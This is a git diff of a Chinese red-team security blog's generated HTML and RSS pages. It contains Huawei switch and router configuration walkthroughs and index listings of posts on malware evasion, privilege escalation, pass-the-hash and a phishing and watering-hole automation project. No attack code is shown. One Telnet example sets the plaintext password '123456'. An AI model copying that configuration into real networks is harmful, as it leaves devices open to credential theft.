style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]vlan batch 100 20 30 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>提示:此操作可能耗时较长。请稍等…完成。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/2 to e0/0/4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e 0/0/5 to e0/0/6 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int e0/0/20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]port default vlan 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]int e0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port default vlan 30 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]vlan 30 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]mux-vlan +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]subordinate group 10 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]subordinate separate 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/1 to e0/0/22 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;save +</span></span></code></pre></td></tr></table> +</div> +</div><p>将把当前的配置保存到存储设备中。</p>华为交换机Telnet远程登录https://payloads.online/archivers/2015-11-20/1/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/1/<p>本文记录一下华为交换机Telnet远程登录的简单配置</p> <p> <figure> <img src="https://images.payloads.online/d05697e6-4f5e-11ec-a083-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -4126,7 +8222,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></pr华为交换机VLAN聚合实例https://payloads.online/archivers/2015-11-20/4/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/4/<p>本文记录一下华为交换机VLAN聚合实例配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]user-interface vty 0 4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-ui-vty0-4]authentication-mode aaa +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-ui-vty0-4]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin password simple?123456 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin privilege? level 3 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin service-type telnet +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int vlan 1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Vlanif1]ip address 192.168.1.1 24 +</span></span></code></pre></td></tr></table> +</div> +</div><p>路由器:</p>华为交换机VLAN聚合实例https://payloads.online/archivers/2015-11-20/4/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/4/<p>本文记录一下华为交换机VLAN聚合实例配置</p> <ul> <li>创建VLAN聚合的VLAN</li> <li>设置VLAN聚合所需要的trunk链路</li> @@ -4168,7 +8289,23 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 -</span></code></pr华为路由OSPF被动接口配置https://payloads.online/archivers/2015-11-20/3/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/3/<p>本文记录一下华为路由OSPF被动接口配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int g0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-GigabitEthernet0/0/1]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-GigabitEthernet0/0/1]port trunk allow-pass vlan 10 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/1 e0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port trunk allow-pass vlan 10 20 +</span></span></code></pre></td></tr></table> +</div> +</div><p>注:Trunk链路不需要allow Vlan聚合的vlan</p>华为路由OSPF被动接口配置https://payloads.online/archivers/2015-11-20/3/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/3/<p>本文记录一下华为路由OSPF被动接口配置</p> <p>拓扑图:</p> <p> <figure> @@ -4215,7 +8352,46 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 -</span></code></pr<link>https://payloads.online/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://payloads.online/about/</guid><description><h1 id="about">About</h1> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Enter system view, return user view with Ctrl+Z. +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]sysname AR1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1]int G0/0/0 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/0]ip add 192.168.4.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/0]int G0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/1]ip add 192.168.6.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/1]int G0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/2]ip add 192.168.5.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/2]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1]ospf +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1]area 0 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.4.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.5.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.6.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1]silent-interface G0/0/0 +</span></span></code></pre></td></tr></table> +</div> +</div><p>AR2配置命令:</p></description></item><item><title/><link>https://payloads.online/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://payloads.online/about/</guid><description><h1 id="about">About</h1> <p>POLOXUE - 十三年编程经验的程序员一枚。</p> <p>我的社交媒体:<a href="https://juejin.cn/user/606586150614343">掘金</a>,<a href="https://www.zhihu.com/people/xue-jian-27">知乎</a>,<a href="https://blog.csdn.net/peitianmeng?spm=1010.2135.3001.5343">CSDN</a></p></description></item><item><title/><link>https://payloads.online/readme/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://payloads.online/readme/</guid><description><h1 id="cnposts">cnposts</h1> <p>中文博客内容</p></description></item><item><title>Abouthttps://payloads.online/about/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/about/<!-- raw HTML omitted --> @@ -4259,7 +8435,16 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <li><a href="https://github.com/Rvn0xsy/MyWin32CPP">MyWin32CPP</a> | 记录一下我学习的Win32CPP</li> <li><a href="https://github.com/Rvn0xsy/Pricking">Pricking</a> | Pricking 是一个自动化部署水坑和网页钓鱼的项目</li> </ul> -<p>想要了解更多可以阅读:</p>友情链接https://payloads.online/links/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/links/<ul> +<p>想要了解更多可以阅读:</p> +<ul> +<li><a href="https://payloads.online/archivers/2021-02-16/1">红队技巧:基于反向代理的水坑攻击</a></li> +<li><a href="https://payloads.online/archivers/2021-02-18/1">Pricking 项目(一) :使用介绍</a></li> +<li><a href="https://payloads.online/archivers/2021-02-18/2">Pricking 项目(二) :JS模块开发</a></li> +</ul> +<ul> +<li><a href="https://github.com/Rvn0xsy/Blowbeef">Blowbeef</a> | 使用C++语言连接WMI接口进行信息收集</li> +<li><a href="https://github.com/Rvn0xsy/red-tldr">red-tldr</a> | red-tldr 是一个轻量级的文本搜索工具,它用于帮助红队工作人员快速的寻找到想要执行的命令、关键点,因此它比较适用于有一定经验的红队人员使用。</li> +</ul>友情链接https://payloads.online/links/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/links/<ul> <li><a href="http://www.whsgwl.net/">晏子霜&rsquo;s blog</a></li> <li><a href="https://blog.kali-team.cn/">三米前有蕉皮&rsquo;s blog</a></li> <li><a href="http://gh0st.cn/">Key&rsquo;s blog</a></li> diff --git a/links/index.html b/links/index.html index 7fc58c2..8ddaa9c 100644 --- a/links/index.html +++ b/links/index.html @@ -1,2 +1,2 @@ 友情链接 - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

友情链接

需要添加请发送邮件至:rvn0xsy@gmail.com

\ No newline at end of file +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

友情链接

需要添加请发送邮件至:rvn0xsy@gmail.com

\ No newline at end of file diff --git a/message/index.html b/message/index.html index abbc385..c767d91 100644 --- a/message/index.html +++ b/message/index.html @@ -1,2 +1,2 @@ 留言 - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

留言

🙋🏻‍♂️这里是网站的 留言板页面 , 你可以直接在这里留下你想说的话~

\ No newline at end of file +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

留言

🙋🏻‍♂️这里是网站的 留言板页面 , 你可以直接在这里留下你想说的话~

\ No newline at end of file diff --git a/page/10/index.html b/page/10/index.html index b1ee637..e971fdc 100644 --- a/page/10/index.html +++ b/page/10/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 Oct 2018

xssValidator

420 words, ~1 min read

本文记录一下xss Validator的使用方法
13 Oct 2018

COM Hijacking

1,810 words, ~7 min read

本文介绍一下COM劫持
08 Oct 2018

Windows 本地特权提升技巧

3,532 words, ~14 min read

本文总结几个Windows 本地特权提升技巧
16 diff --git a/page/11/index.html b/page/11/index.html index de8000c..f04b356 100644 --- a/page/11/index.html +++ b/page/11/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

27 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

27 Mar 2018

使用CrackMapExec 进行 NTLM Hash传递攻击

798 words, ~3 min read

本文介绍一个工具 - CrackMapExec 进行 NTLM Hash传递攻击
20 Mar 2018

浅谈使用C语言开发服务端漏洞扫描设计

4,068 words, ~16 min read

本文记录一下自己学习这么久以来,目前设计的漏洞扫描最好的方式
18 Mar 2018

渗透测试中使用Ubuntu的一些小技巧

677 words, ~2 min read

本文记录一下Ubuntu的一些小技巧
16 diff --git a/page/12/index.html b/page/12/index.html index 2c5c6dc..2f20576 100644 --- a/page/12/index.html +++ b/page/12/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

14 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

14 Nov 2017

CTF - 美眉的手机号

1,404 words, ~5 min read

本文介绍一个在CTF中遇到的经典二次注入
09 Nov 2017

socat 使用手册

2,435 words, ~9 min read

## socat简介 socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。 diff --git a/page/13/index.html b/page/13/index.html index 5363f07..d836222 100644 --- a/page/13/index.html +++ b/page/13/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 Mar 2017

phpMyAdmin新姿势getshell

1,483 words, ~5 min read

假设我们拥有MySQL的root权限,登录Web端的phpMyAdmin数据库管理控制台,你有多少种方法去getshell?
13 Mar 2017

渗透测试中的Bypass技巧(四)自动化注入

1,558 words, ~6 min read

声明:本文旨在技术研究,请勿用于违法用途,否则后果自负。
07 Mar 2017

渗透测试中的Bypass技巧(三)自动化注入

1,546 words, ~6 min read

某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。
06 diff --git a/page/14/index.html b/page/14/index.html index 9bed4a4..7469278 100644 --- a/page/14/index.html +++ b/page/14/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

20 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

20 Nov 2015

华为路由OSPF被动接口配置

92 words, ~0 min read

本文记录一下华为路由OSPF被动接口配置
01 Jan 0001

About

61 words, ~0 min read

<!-- {{< figure class="avatar" src="/avatar.jpeg" alt="avatar">}} --> * ID:倾旋 / Rvn0xsy diff --git a/page/2/index.html b/page/2/index.html index daac253..ad23fa3 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 Jul 2023

常用软件记录

745 words, ~2 min read

本文记录一下常用的软件以及下载地址
23 Oct 2022

使用RPC Filter技术防御内网RPC横向攻击

2,269 words, ~9 min read

本文介绍了RPC Filter技术的概念与使用,并演示了如何通过RPC Filter阻断基于计划任务的横向攻击,并给出了大量RPC Filter的参考,能够有效的应对impacket所提供的内网横向技术的攻击.....
19 Sep 2022

我的三年红队生涯总结

7,149 words, ~28 min read

很久没有写一些关于工作的感悟了,近期想了一些事情,以此写一篇关于我三年的红队生涯总结。
03 diff --git a/page/3/index.html b/page/3/index.html index 63b6e71..e41dbb6 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 Nov 2021

MacOS任务计划

687 words, ~2 min read

使用launchctl注册喝水任务
13 Sep 2021

BeingDebugged反调试技巧

1,106 words, ~4 min read

了解Windows PEB结构,学习Shellcode编写流程,使用汇编语言进行反调试检测
03 Sep 2021

MASM中VirtualProtect函数的分析

1,616 words, ~6 min read

最近在巩固汇编知识,写汇编的过程中遇到一个比较奇怪的点,然后开始了一段分析...
30 diff --git a/page/4/index.html b/page/4/index.html index 32e0b5a..b085c64 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 Nov 2020

静态恶意代码逃逸(第九课)

1,156 words, ~4 min read

本节课,使用HeapCreate API来关闭DEP保护,获取在堆上的代码执行权限,从而绕过对VirtualAlloc的检测。
29 Nov 2020

静态恶意代码逃逸(第八课)

533 words, ~2 min read

本节课,需要使用C++的特性来解决特殊字符串被标记的情况
13 Nov 2020

Linux透明代理在红队渗透中的应用

3,112 words, ~12 min read

本篇文章,主要是记录工作中想让外网打点和内网渗透的场景进行透明代理的体验。
01 diff --git a/page/5/index.html b/page/5/index.html index 53908d1..be54af4 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

21 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

21 Mar 2020

Windows特权提升漏洞-符号

5,195 words, ~20 min read

Windows 特权提升相信大家已经不陌生了,常见的场景如:NETWORK SERVICE → SYSTEM但从漏洞原理去了解,会发现利用漏洞利用本就是一个“使程序逻辑不按照正常方向运转”的过程...
02 Mar 2020

Cobalt Strike Aggressor Script (第一课)

1,001 words, ~4 min read

在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。
02 Mar 2020

Cobalt Strike Aggressor Script (第二课)

382 words, ~1 min read

本节课带大家做一个Say-Hello的脚本来熟悉菜单的构建以及对话框的使用
02 diff --git a/page/6/index.html b/page/6/index.html index bcbb004..d938199 100644 --- a/page/6/index.html +++ b/page/6/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 Jan 2020

Linux权限维持之进程注入

703 words, ~2 min read

通过进程注入技术,能够使得动态链接库被加载到一个正在运行的进程,因此较为隐蔽。
01 Jan 2020

SQL Server DBA WriteFile

1,075 words, ~4 min read

通常情况下,遇到SQL Server注入点,我会比较关注是否是DBA权限,如果是,那么就可能拿到执行命令的权限,进而反弹到C2上,方便后续的后渗透工作。
10 Nov 2019

静态恶意代码逃逸(第一课)

624 words, ~2 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 diff --git a/page/7/index.html b/page/7/index.html index ca4fb78..b41d2d1 100644 --- a/page/7/index.html +++ b/page/7/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

24 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

24 Apr 2019

Nmap扩展开发(三)

1,291 words, ~5 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
24 Apr 2019

Nmap扩展开发(二)

774 words, ~3 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
24 Apr 2019

Nmap扩展开发(四)

4,480 words, ~17 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
13 diff --git a/page/8/index.html b/page/8/index.html index 35260e9..aef2d52 100644 --- a/page/8/index.html +++ b/page/8/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

